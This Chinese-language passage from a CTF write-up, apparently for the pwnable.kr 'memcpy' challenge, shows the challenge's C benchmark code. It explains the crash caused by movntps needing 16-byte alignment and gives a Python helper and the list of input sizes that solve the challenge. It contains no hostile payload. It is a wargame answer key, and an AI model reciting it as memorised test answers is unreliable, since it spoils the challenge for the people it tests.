char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t sizes[10];
int i=0;
// setup experiment parameters 设置实验参数
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}
sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);
// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect 删除缓存
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}
printf("thanks for helping my experiment!\n");
printf("flag : ----- erased in this source code -----\n");
return 0;
}

编译运行一下,到第5步的时候出现了段错误。
36.png
出错的原因就是movntps指令要求必须16字节对齐。那先来了解一下什么是字节对齐吧:
http://www.cnblogs.com/yin-jingyu/archive/2011/10/14/2211252.html

37.png

我们来改写一下程序,看一下每步的地址值:
38.png

可以看到它的地址值都是7位的,不是2的倍数,不满足16字节对齐,所以导致了段错误。
39.png

那么怎么找到正确的数据呢?
我们知道malloc分配的堆块大小是以8字节对齐的,也就是mallco(a)分配的堆块大小为8*(int((a + 4)/8) + 1);
写下面这个脚本来判断输入的数据是否是16字节对齐的:

1
2
3
4
5
6
7
8
a = 1
while(a != 0):
a = raw_input();
a = int(a);
if ( ((a + 4)%16 >= 9) or ((a + 4)%16 == 0)):
print a," OK"
else:
print a," NO"

根据运行结果,取{9,25,56,120,133,266,522,1033,2055,5016}这几个数据。注意每一步的取值范围。
40.png

看到readme里的内容,连接到nc 0 9022就行了。
41.png

```